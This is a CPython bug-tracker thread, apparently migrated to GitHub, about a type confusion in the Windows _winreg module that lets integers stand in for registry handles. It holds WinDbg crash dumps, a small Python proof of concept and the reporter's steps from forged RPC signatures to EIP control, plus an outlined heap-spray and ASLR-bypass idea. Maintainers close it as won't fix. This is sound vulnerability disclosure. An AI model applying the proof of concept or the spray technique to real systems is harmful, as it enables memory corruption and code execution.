python / cpython

The Python programming language
https://www.python.org
Other
63.29k stars 30.3k forks source link

_winreg PyHKEY Type Confusion #68389

Closed 8d430a93-5e49-44a5-93eb-a0a4492eab8e closed 8 years ago

8d430a93-5e49-44a5-93eb-a0a4492eab8e commented 9 years ago
BPO 24201
Nosy @tiran, @tjguk, @zware, @eryksun, @zooba
Files
  • _winregTypeConfusion.py: Repro File
  • Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.

    Show more details

    GitHub fields: ```python assignee = 'https://github.com/zooba' closed_at = created_at = labels = ['type-security', 'OS-windows'] title = '_winreg PyHKEY Type Confusion' updated_at = user = 'https://bugs.python.org/JohnLeitch' ``` bugs.python.org fields: ```python activity = actor = 'steve.dower' assignee = 'steve.dower' closed = True closed_date = closer = 'steve.dower' components = ['Windows'] creation = creator = 'JohnLeitch' dependencies = [] files = ['39382'] hgrepos = [] issue_num = 24201 keywords = [] message_count = 9.0 messages = ['243257', '243270', '243292', '243306', '243372', '277329', '277334', '277401', '277420'] nosy_count = 6.0 nosy_names = ['christian.heimes', 'tim.golden', 'zach.ware', 'eryksun', 'steve.dower', 'JohnLeitch'] pr_nums = [] priority = 'normal' resolution = 'wont fix' stage = 'resolved' status = 'closed' superseder = None type = 'security' url = 'https://bugs.python.org/issue24201' versions = ['Python 2.7'] ```

    8d430a93-5e49-44a5-93eb-a0a4492eab8e commented 9 years ago

    The Python _winreg module suffers from a type confusion vulnerability wherein pointers can be passed directly in place of PyHKEY instances e.g. _winreg.QueryValue(0x41414141, "")

    This behavior is due to the underlying PyHKEY_AsHKEY function of _winreg.c:

    BOOL
    PyHKEY_AsHKEY(PyObject *ob, HKEY *pHANDLE, BOOL bNoneOK)
    {
        if (ob == Py_None) {
            if (!bNoneOK) {
                PyErr_SetString(
                          PyExc_TypeError,
                          "None is not a valid HKEY in this context");
                return FALSE;
            }
            *pHANDLE = (HKEY)0;
        }
        else if (PyHKEY_Check(ob)) {
            PyHKEYObject *pH = (PyHKEYObject *)ob;
            *pHANDLE = pH->hkey;
        }
        else if (PyInt_Check(ob) || PyLong_Check(ob)) { <<<<<< if ob is an int/long, this path is taken.
            /* We also support integers */
            PyErr_Clear();
            *pHANDLE = (HKEY)PyLong_AsVoidPtr(ob); <<<<<< ob is casted to a void* here
            if (PyErr_Occurred())
                return FALSE;
        }
        else {
            PyErr_SetString(
                            PyExc_TypeError,
                "The object is not a PyHKEY object");
            return FALSE;
        }
        return TRUE;
    }

    When *ob is an integer or long, the function casts it to a void*. This behavior can be triggered using many of the _winreg functions, such as QueryValue, QueryValueEx, EnumValue, etc.

    0:000> r eax=41414140 ebx=0027fbc8 ecx=00000000 edx=00000000 esi=770e351e edi=00000000 eip=74bf9af3 esp=0027f738 ebp=0027f764 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 RPCRT4!NDRCContextBinding+0x13: 74bf9af3 81780498badcfe cmp dword ptr [eax+4],0FEDCBA98h ds:002b:41414144=???????? 0:000> k ChildEBP RetAddr
    0027f764 74c0390c RPCRT4!NDRCContextBinding+0x13 0027f774 74c86dce RPCRT4!ExplicitBindHandleMgr+0x33 0027fba8 770e625c RPCRT4!NdrClientCall2+0x2ea 0027fbc0 771041e2 ADVAPI32!SafeBaseRegQueryInfoKey+0x24 0027fc04 76eacdca ADVAPI32!RemoteRegQueryInfoKeyWrapper+0x42 0027fcbc 1e0de85c KERNELBASE!LocalOpenPerformanceText+0x1c60 0027fd14 1e0ac6fc python27!PyEnumValue+0x6c [c:\build27\cpython\pc\_winreg.c @ 1213] 0027fd58 1e0efabf python27!_PyObject_GenericGetAttrWithDict+0x12c [c:\build27\cpython\objects\object.c @ 1428] 0027fde8 1e0f27eb python27!PyEval_EvalFrameEx+0x1cdf [c:\build27\cpython\python\ceval.c @ 2269] 0027fe00 1e0f11b2 python27!compiler_free+0x3b [c:\build27\cpython\python\compile.c @ 322] 0027fe2c 1e11707a python27!PyEval_EvalCode+0x22 [c:\build27\cpython\python\ceval.c @ 672] 0027fe44 1e1181c5 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c @ 1371] 0027fe64 1e118760 python27!PyRun_FileExFlags+0x75 [c:\build27\cpython\python\pythonrun.c @ 1358] 0027fea4 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190 [c:\build27\cpython\python\pythonrun.c @ 950] 0027fec0 1e038d35 python27!PyRun_AnyFileExFlags+0x59 [c:\build27\cpython\python\pythonrun.c @ 753] 0027ff3c 1d00116d python27!Py_Main+0x965 [c:\build27\cpython\modules\main.c @ 643] 0027ff80 74d57c04 python!tmainCRTStartup+0x10f [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 586] 0027ff94 7741ad1f KERNEL32!BaseThreadInitThunk+0x24 0027ffdc 7741acea ntdll!RtlUserThreadStart+0x2f 0027ffec 00000000 ntdll!_RtlUserThreadStart+0x1b 0:000> !analyze -v


    FAULTING_IP: RPCRT4!NDRCContextBinding+13 74bf9af3 81780498badcfe cmp dword ptr [eax+4],0FEDCBA98h

    EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 74bf9af3 (RPCRT4!NDRCContextBinding+0x00000013) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414144 Attempt to read from address 41414144

    CONTEXT: 00000000 -- (.cxr 0x0;r) eax=41414140 ebx=0027fbc8 ecx=00000000 edx=00000000 esi=770e351e edi=00000000 eip=74bf9af3 esp=0027f738 ebp=0027f764 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 RPCRT4!NDRCContextBinding+0x13: 74bf9af3 81780498badcfe cmp dword ptr [eax+4],0FEDCBA98h ds:002b:41414144=????????

    FAULTING_THREAD: 00000274

    DEFAULT_BUCKET_ID: INVALID_POINTER_READ

    PROCESS_NAME: python.exe

    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

    EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

    EXCEPTION_PARAMETER1: 00000000

    EXCEPTION_PARAMETER2: 41414144

    READ_ADDRESS: 41414144

    FOLLOWUP_IP: python27!PyEnumValue+6c [c:\build27\cpython\pc\_winreg.c @ 1213] 1e0de85c 85c0 test eax,eax

    NTGLOBALFLAG: 70

    APPLICATION_VERIFIER_FLAGS: 0

    APP: python.exe

    ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

    PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ

    BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ

    LAST_CONTROL_TRANSFER: from 74c0390c to 74bf9af3

    STACK_TEXT:
    0027f764 74c0390c 41414140 770bfc78 0027fba8 RPCRT4!NDRCContextBinding+0x13 0027f774 74c86dce 770e351e 0027f8f8 40b1cbac RPCRT4!ExplicitBindHandleMgr+0x33 0027fba8 770e625c 770bfc78 770e3514 0027fbc8 RPCRT4!NdrClientCall2+0x2ea 0027fbc0 771041e2 41414140 0027fc44 0027fbfc ADVAPI32!SafeBaseRegQueryInfoKey+0x24 0027fc04 76eacdca 41414140 0027fc44 0027fc78 ADVAPI32!RemoteRegQueryInfoKeyWrapper+0x42 0027fcbc 1e0de85c 41414141 00000000 00000000 KERNELBASE!LocalOpenPerformanceText+0x1c60 0027fd14 1e0ac6fc 1e0aafd7 00000000 01d8e620 python27!PyEnumValue+0x6c 0027fd58 1e0efabf 1e0f017a 0027fdb4 01d06b18 python27!_PyObject_GenericGetAttrWithDict+0x12c 0027fde8 1e0f27eb 01e05238 003c196b 00000000 python27!PyEval_EvalFrameEx+0x1cdf 0027fe00 1e0f11b2 01d06b18 01d34030 01d0aa50 python27!compiler_free+0x3b 0027fe2c 1e11707a 01d06b18 01d0aa50 01d0aa50 python27!PyEval_EvalCode+0x22 0027fe44 1e1181c5 01dca848 01d0aa50 01d0aa50 python27!run_mod+0x2a 0027fe64 1e118760 72f27408 003c196b 00000101 python27!PyRun_FileExFlags+0x75 0027fea4 1e1190d9 72f27408 003c196b 00000001 python27!PyRun_SimpleFileExFlags+0x190 0027fec0 1e038d35 72f27408 003c196b 00000001 python27!PyRun_AnyFileExFlags+0x59 0027ff3c 1d00116d 00000002 003c1948 003c1cf0 python27!Py_Main+0x965 0027ff80 74d57c04 7ffde000 74d57be0 409574f3 python!tmainCRTStartup+0x10f 0027ff94 7741ad1f 7ffde000 433d59cc 00000000 KERNEL32!BaseThreadInitThunk+0x24 0027ffdc 7741acea ffffffff 77400223 00000000 ntdll!RtlUserThreadStart+0x2f 0027ffec 00000000 1d001314 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b

    STACK_COMMAND: .cxr 0x0 ; kb

    FAULTING_SOURCE_LINE: c:\build27\cpython\pc\_winreg.c

    FAULTING_SOURCE_FILE: c:\build27\cpython\pc\_winreg.c

    FAULTING_SOURCE_LINE_NUMBER: 1213

    FAULTING_SOURCE_CODE:
    1209: 1210: if ((rc = RegQueryInfoKey(hKey, NULL, NULL, NULL, NULL, NULL, NULL, 1211: NULL, 1212: &retValueSize, &retDataSize, NULL, NULL))

    1213: != ERROR_SUCCESS) 1214: return PyErr_SetFromWindowsErrWithFunction(rc, 1215: "RegQueryInfoKey"); 1216: ++retValueSize; / include null terminators \/ 1217: ++retDataSize; 1218: bufDataSize = retDataSize;

    SYMBOL_STACK_INDEX: 6

    SYMBOL_NAME: python27!PyEnumValue+6c

    FOLLOWUP_NAME: MachineOwner

    MODULE_NAME: python27

    IMAGE_NAME: python27.dll

    DEBUG_FLR_IMAGE_TIMESTAMP: 5488ac17

    FAILURE_BUCKET_ID: INVALID_POINTER_READ_c0000005_python27.dll!PyEnumValue

    BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_python27!PyEnumValue+6c

    ANALYSIS_SOURCE: UM

    FAILURE_ID_HASH_STRING: um:invalid_pointer_read_c0000005_python27.dll!pyenumvalue

    FAILURE_ID_HASH: {b72db5fa-dbfd-ad6f-cf69-1ef0b8d49eed}

    Followup: MachineOwner ---------

    eryksun commented 9 years ago

    wherein pointers can be passed directly in place of PyHKEY instances e.g. _winreg.QueryValue(0x41414141, "")

    If a debugger is attached you see the first-chance exception for the access violation. Normally the registry function simply returns ERROR_INVALID_HANDLE (6), which gets raised as an OSError in Python.

    The call took the RPC path because the low bit (1) marks a remote handle, which is actually a pointer to a data structure. RPCRT4!NDRCContextBinding looks for a signature (0xFEDCBA98) to validate this structure.

    In this case the attempt raised an access violation, which gets handled by raising another exception with the exception code set to ERROR_INVALID_HANDLE. The same exception gets raised if it can't validate the handle. Subsequently this exception is handled by calling RPCRT4!NdrClientMapCommFault to map the code to a return value.

    For example (x64 ISA):

        >>> _winreg.QueryInfoKey(0x41414141)
        (a2c.828): Access violation - code c0000005 (first chance)
        First chance exceptions are reported before any exception handling.
        This exception may be expected and handled.
        RPCRT4!NDRCContextBinding+0x4:
        000007fe`fefca6e4 81790898badcfe  cmp     dword ptr [rcx+8],0FEDCBA98h ds:00000000`41414148=????????
    0:000> gN
    (a2c.828): Unknown exception - code 00000006 (first chance)
    Breakpoint 0 hit
    RPCRT4!NdrClientMapCommFault:
    000007fe`ff05f010 fff3            push    rbx
    
    0:000> kc 8
    Call Site
    RPCRT4!NdrClientMapCommFault
    RPCRT4!NdrpClientCall3
    RPCRT4!NdrClientCall3
    ADVAPI32!SafeBaseRegQueryInfoKey
    ADVAPI32!RemoteRegQueryInfoKeyWrapper
    kernel32!TlsGetValue
    ADVAPI32!RegQueryInfoKeyAStub
    python27!PyQueryInfoKey

    The exception code is passed in register r8 and gets assigned to the address in r9:

    0:000> r r8, r9
    r8=0000000000000006 r9=000000000021f1d8
    
    0:000> dd 21f1d8 l1
    00000000`0021f1d8  00000000
    
    0:000> pt
    RPCRT4!NdrClientMapCommFault+0x80:
    000007fe`ff05f080 c3              ret
    0:000> dd 21f1d8 l1
    00000000`0021f1d8  00000006

    This return value gets passed back up the call stack:

    0:000> gu; pt; r rax
    rax=0000000000000006
    0:000> gu; pt; r rax
    rax=0000000000000006
    0:000> gu; pt; r rax
    rax=0000000000000006
    0:000> gu; pt; r rax
    rax=0000000000000006
    0:000> gu; pt; r rax
    rax=0000000000000006
    0:000> r
    rax=0000000000000006 rbx=0000000000e1cda0 rcx=0000000000000000
    rdx=0000000000000000 rsi=0000000000000000 rdi=000000001e1027b0
    rip=00000000779ba204 rsp=000000000021f9d8 rbp=0000000000eb61c8
     r8=000000000021f1d8  r9=0000000000000000 r10=000000000021f1d8
    r11=000000000021f8b0 r12=0000000000e1cda0 r13=0000000000807bb0
    r14=000000001e2b3210 r15=0000000000eb7060
    iopl=0         nv up ei pl nz na po nc
    cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
    kernel32!RegQueryInfoKeyA+0x364:
    00000000`779ba204 c3              ret

    Until finally getting raised as a Python exception:

        0:000> g
        Traceback (most recent call last):
          File "<stdin>", line 1, in <module>
        WindowsError: [Error 6] The handle is invalid

    The odds are extremely low that someone will pass in an integer address that's flagged as a remote handle (ends in 1) and is a valid, mapped address that contains the RPC handle signature. Even then, it won't reference an actual proxy handle for a remote registry, so it'll just fail farther along the chain.

    I'm sure if a feature exists that someone, somewhere depends on it, so I don't see a reason to change this unless there's a real problem here. Is there a specific technical or security problem that you see here?

    8d430a93-5e49-44a5-93eb-a0a4492eab8e commented 9 years ago

    Thank you for taking the time to peruse my report and explain the behavior I observed. My understanding of Windows RPC internals is lacking, and perhaps I jumped the gun upon catching an AV while fuzzing.

    That said, after poking around to better understand the matter, I discovered a few things:

    1) There are code paths where it is possible to trigger an unhandled access violation:

    0:000> g (11a0.d54): Access violation - code c0000005 (!!! second chance !!!) eax=60dad396 ebx=00000000 ecx=00000000 edx=00000000 esi=000000a0 edi=000000a0 eip=776f1037 esp=0027f790 ebp=0027f80c iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216 ntdll!RtlAllocateHeap+0x17: 776f1037 8b4344 mov eax,dword ptr [ebx+44h] ds:002b:00000044=?????? ?? 0:000> k ChildEBP RetAddr 0027f80c 75471731 ntdll!RtlAllocateHeap+0x17 0027f82c 75479616 RPCRT4!AllocWrapper+0x2d 0027f840 75479791 RPCRT4!ThreadSelfHelper+0x16 0027f848 754f6b2a RPCRT4!ThreadSelf+0x18 0027fc74 753a5d94 RPCRT4!NdrClientCall2+0x13a 0027fc8c 7539f48b ADVAPI32!BaseRegGetVersion+0x24 0027fce4 7538dfce ADVAPI32!RegDeleteKeyW+0x14aeb 0027fd00 1e0de533 ADVAPI32!RegDeleteKeyA+0x2e 0027fd18 1e0aafd7 python27!PyDeleteKey+0x53 0027fd30 1e0edd10 python27!PyCFunction_Call+0x47 0027fd5c 1e0f017a python27!call_function+0x2b0 0027fdcc 1e0f1150 python27!PyEval_EvalFrameEx+0x239a 0027fe00 1e0f11b2 python27!PyEval_EvalCodeEx+0x690 0027fe2c 1e11707a python27!PyEval_EvalCode+0x22 0027fe44 1e1181c5 python27!run_mod+0x2a 0027fe64 1e118760 python27!PyRun_FileExFlags+0x75 0027fea4 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190 0027fec0 1e038d35 python27!PyRun_AnyFileExFlags+0x59 0027ff3c 1d00116d python27!Py_Main+0x965 0027ff80 75967c04 python!tmainCRTStartup+0x10f 0027ff94 7770ad1f KERNEL32!BaseThreadInitThunk+0x24 0027ffdc 7770acea ntdll!RtlUserThreadStart+0x2f 0027ffec 00000000 ntdll!_RtlUserThreadStart+0x1b 0:000>

    This doesn't appear to be outright exploitable for anything beyond DoS, but it does crash the process.

    2) Assuming attacker control of the hkey parameter to a _winreg call, I believe it would be possible to leverage the RPC signature check to disclose the location of valid memory such as the RPC module itself, thereby bypassing ASLR.

    >> import _winreg >> _winreg.DeleteKey(0x75469AF1, '')

    Traceback (most recent call last):
      File "<pyshell#13>", line 1, in <module>
        _winreg.DeleteKey(0x75469AF1, '')
    WindowsError: [Error 6] The handle is invalid
    >>> _winreg.DeleteKey(0x75469AF3, '')

    >> ================================ RESTART \================================ >>

    0:000> dd 0x75469AF3 75469af3 98047881 0ffedcba 01d9a085 fc45c700 75469b03 fffffffe 8fe8008b c20000a2 90900004 75469b13 90909090 fffffe90 000000ff ffffd400 75469b23 000000ff fffffe00 49d901ff 49d92575 75469b33 06f76875 b2e80000 8b000161 47c7e845 75469b43 0000003c 50478900 00a661e9 09be0f00 75469b53 00a649e9 06f76800 8ee80000 68000161 75469b63 000006e6 016184e8 90909000 499e5190 0:000> !address 0x75469AF3

    Usage: Image Base Address: 75451000 End Address: 754fa000 Region Size: 000a9000 State: 00001000 MEM_COMMIT Protect: 00000020 PAGE_EXECUTE_READ Type: 01000000 MEM_IMAGE Allocation Base: 75450000 Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY Image Path: C:\WINDOWS\SysWOW64\RPCRT4.dll Module Name: RPCRT4 Loaded Image Name: C:\WINDOWS\SYSTEM32\RPCRT4.dll Mapped Image Name: More info: lmv m RPCRT4 More info: !lmi RPCRT4 More info: ln 0x75469af3 More info: !dh 0x75450000

    3) Finally, I still suspect it may be possible to achieve memory corruption with this bug, but cannot verify without a better understanding of the structures at play and further analysis. The hypothetical attack goes like this:

    a) The attacker sprays memory with carefully constructed buffers containing the expected magic numbers at the correct offsets.

    b) Once memory has been sufficiently sprayed, the attacker triggers the bug with an hkey value that is actually an address predicted to be one of the sprayed structures.

    c) While working with the attacker controlled buffer, RPC inadvertently corrupts memory.

    Step C is, of course, dependent on what what fields are available in the structure, and what RPC does with them. Unfortunately I can't find any relevant documentation or code, but in my testing I was able to force different code paths. Some look fruitful, but determining whether they're reachable would be costly time-wise, and it's a bit of a moot point because we're talking about Microsoft's internal implementation, which could change at any point, altering exploitability. Given that, I'd say it's best to err on the side of caution, and assume corruption is possible with the right primitives.

    eryksun commented 9 years ago

    ntdll!RtlAllocateHeap+0x17: 776f1037 8b4344 mov eax,dword ptr [ebx+44h] ds:002b:00000044=????????

    Some functions in RPCRT4 assume RPCRT4!PerformRpcInitialization has already been called. How else could you get an RPC handle? In this case RPCRT4!hRpcHeap hasn't been initialized yet.

    That said, if you first perform some operation that properly initializes RPCRT4 -- such as query a privilege value from LSA -- then using a corrupt RPC handle will possibly trigger an unhandled exception farther down the line. I don't think this is a problem that needs to be addressed in winreg. It's an application bug.

    Also, note that changing this in the winreg module isn't as simple as just commenting out the code in PyHKEY_AsHKEY. You'd also have to special case the HKEY constants, one way or another.

    Here's an example that first calls an LSA API to initialize RPCRT4 (test system: 64-bit Windows 10, 32-bit Python 2.7).

    Microsoft (R) Windows Debugger Version 10.0.10075.9 X86
    Copyright (c) Microsoft Corporation. All rights reserved.
    
    CommandLine: python
    
    ************* Symbol Path validation summary **************
    Response                         Time (ms)     Location
    Deferred                                       symsrv*symsrv.dll*
    C:\Symbols*http://msdl.microsoft.com/download/symbols
    Symbol search path is: symsrv*symsrv.dll*
    C:\Symbols*http://msdl.microsoft.com/download/symbols
    Executable search path is:
    (818.b4c): Break instruction exception - code 80000003 (first chance)
    eax=00000000 ebx=00000000 ecx=0cbe0000 edx=00000000 esi=1d0000e8 edi=7ffde000
    eip=7756fb65 esp=0028fa64 ebp=0028fa90 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
    ntdll!LdrpDoDebuggerBreak+0x2b:
    7756fb65 cc              int     3
    0:000> bp RPCRT4!PerformRpcInitialization
    0:000> g
    
    Python 2.7.9 (default, Dec 10 2014, 12:24:55) [MSC v.1500 32 bit (Intel)] on win32
    Type "help", "copyright", "credits" or "license" for more information.
    
    >>> import ctypes, _winreg
    >>> advapi32 = ctypes.WinDLL('advapi32')
    >>> x = (ctypes.c_void_p * 4)()
    >>> advapi32.LookupPrivilegeValueA(None, 'SeDebugPrivilege', x)
    
    Breakpoint 0 hit
    eax=0028f558 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=0028f580
    eip=7477183a esp=0028f51c ebp=0028f530 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
    RPCRT4!PerformRpcInitialization:
    7477183a 8bff            mov     edi,edi
    
    0:000> dd RPCRT4!hRpcHeap l1
    747dc870  00000000
    0:000> pt; dd RPCRT4!hRpcHeap l1
    747dc870  003a0000
    0:000> g
    1
    
    >>> x[0] = 123 # bad internal RPC handle
    >>> x[1] = 0xFEDCBA98 # RPC context handle signature
    >>> _winreg.DeleteKey(ctypes.addressof(x) | 1, '')

    RPCRT4 is initialized, so the unhandled exception shown below is no longer due to RPCRT4!hRpcHeap. Checking the context handle also succeeds in this case since I added the 0xFEDCBA98 signature, but it fails while checking the internal handle (0x7b, in register esi) for the signature 0x89ABCDEF.

    (818.b4c): Access violation - code c0000005 (!!! second chance !!!)
    eax=9b4e8357 ebx=0028f860 ecx=00000024 edx=00000001 esi=0000007b edi=748c66d0
    eip=74766121 esp=0028f814 ebp=0028f828 iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
    RPCRT4!I_RpcGetBufferWithObject+0x21:
    74766121 817e04efcdab89  cmp     dword ptr [esi+4],89ABCDEFh ds:002b:0000007f=????????

    In a 64-bit process this example doesn't crash the process. Instead the x64 version of RPCRT4.DLL handles the access violation by returning the exception code 0xC0000005.

    8d430a93-5e49-44a5-93eb-a0a4492eab8e commented 9 years ago

    Thank you again for the explanation of the internals at play here. Armed with the knowledge you provided, I conducted further experimentation, and I believe I can now demonstrate how EIP control is possible with this bug. Note that RPC initialization is not necessary, thus lowering the barrier to entry.

    First, it is possible to satisfy both magic number checks using a single buffer, and the predicted address of said buffer. This can be simulated with the following script:

    import _winreg
    test = "AAAA\x98\xba\xdc\xfeCCCC\xEF\xCD\xAB\x89EEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQAAAA"
    _winreg.QueryValueEx(0x41414141, 'test')

    A breakpoint is set at the first magic number check to give us an opportunity to patch up our buffer with the "predicted" addresses.

    Breakpoint 0 hit eax=41414140 ebx=0027fc2c ecx=00000000 edx=00000000 esi=753a3584 edi=00000000 eip=75469af3 esp=0027f79c ebp=0027f7c8 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 RPCRT4!NDRCContextBinding+0x13: 75469af3 81780498badcfe cmp dword ptr [eax+4],0FEDCBA98h ds:002b:41414144=? ??????? 0:000> s -b 0x0 L?0x7fffffff 41 41 41 41 98 ba dc fe 01ccc37c 41 41 41 41 98 ba dc fe-43 43 43 43 ef cd ab 89 AAAA....CCCC.... 0:000> r @eax=0x01ccc37c 0:000> ed eax eax+0x8 0:000> ed eax+0x8 eax+0xc 0:000> dc eax 01ccc37c 01ccc384 fedcba98 01ccc388 89abcdef ................ 01ccc38c 45454545 46464646 47474747 48484848 EEEEFFFFGGGGHHHH 01ccc39c 49494949 4a4a4a4a 4b4b4b4b 4c4c4c4c IIIIJJJJKKKKLLLL 01ccc3ac 4d4d4d4d 4e4e4e4e 4f4f4f4f 50505050 MMMMNNNNOOOOPPPP 01ccc3bc 51515151 41414141 01ccab00 01cbe048 QQQQAAAA....H... 01ccc3cc 01cbe070 01ccabe0 01cbe098 01cbe0c0 p............... 01ccc3dc baadf000 01ccc548 1e228bf8 00000062 ....H.....".b... 01ccc3ec ffffffff 00000000 72747320 6c6c6f63 ........ strcoll 0:000> r eax=01ccc37c ebx=0027fc2c ecx=00000000 edx=00000000 esi=753a3584 edi=00000000 eip=75469af3 esp=0027f79c ebp=0027f7c8 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 RPCRT4!NDRCContextBinding+0x13: 75469af3 81780498badcfe cmp dword ptr [eax+4],0FEDCBA98h ds:002b:01ccc380=f edcba98

    While we patched up the buffer with two addresses, this is still viable through heap spraying because the second address is relative to the first. Continuing execution, we hit our second magic number check:

    0:000> g Breakpoint 2 hit eax=e7fafcfb ebx=0027f7f8 ecx=0000009c edx=00000001 esi=01ccc384 edi=01ccc384 eip=75472451 esp=0027f7ac ebp=0027f7c0 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 RPCRT4!I_RpcGetBufferWithObject+0x21: 75472451 817e04efcdab89 cmp dword ptr [esi+4],89ABCDEFh ds:002b:01ccc388=89 abcdef 0:000> dc esi+4 01ccc388 89abcdef 45454545 46464646 47474747 ....EEEEFFFFGGGG 01ccc398 48484848 49494949 4a4a4a4a 4b4b4b4b HHHHIIIIJJJJKKKK 01ccc3a8 4c4c4c4c 4d4d4d4d 4e4e4e4e 4f4f4f4f LLLLMMMMNNNNOOOO 01ccc3b8 50505050 51515151 41414141 01ccab00 PPPPQQQQAAAA.... 01ccc3c8 01cbe048 01cbe070 01ccabe0 01cbe098 H...p........... 01ccc3d8 01cbe0c0 baadf000 01ccc548 1e228bf8 ........H.....". 01ccc3e8 00000062 ffffffff 00000000 72747320 b........... str 01ccc3f8 6c6c6f63 72747328 2c676e69 69727473 coll(string,stri

    All is well. When execution is continued, we achieve EIP control:

    0:000> g (10d8.15a8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=0027f7f8 ecx=01ccc384 edx=00000001 esi=01ccc384 edi=00000040 eip=41414141 esp=0027f79c ebp=0027f7c0 iopl=0 nv up ei ng nz na pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287 41414141 ?? ???

    Apologies for the messy memory editing; there's probably a more Pythonic way of patching the buffer. And, of course, I believe it to be possible to achieve this via heap spraying, without any patching at all. Given this, I think exploitation in the real world is possible with two primitives: heap spraying and hkey value control. A web application, for example, might offer an attacker both of these primitives, while at the same time reasonably expecting arbitrary code execution to be prohibited.

    tiran commented 8 years ago

    Steve, Zach, please have a look.

    zooba commented 8 years ago

    I think this requires arbitrary code execution as a minimum - there's no way anyone would pass a user-provided value here - so the security implications are less interesting.

    All we can really do is restrict the types accepted here, which I don't think is appropriate in a maintenance release. Possibly it's not too late to deprecate in 3.6 for removal in 3.8, but it is certainly a documented feature. Checking a handle for validity is not part of user mode API, as far as I know - EAFP.

    zware commented 8 years ago

    I agree with Eryk that this is not a winreg bug. If I'm understanding this correctly, you would need to pass unsanitized remote input into a function that's going to affect your registry. That strikes me as an incredibly ridiculous thing to do; anyone doing so is begging to be exploited regardless of this issue.

    I'd vote to close as 'wont fix', but will defer to Steve.

    zooba commented 8 years ago

    Agreed.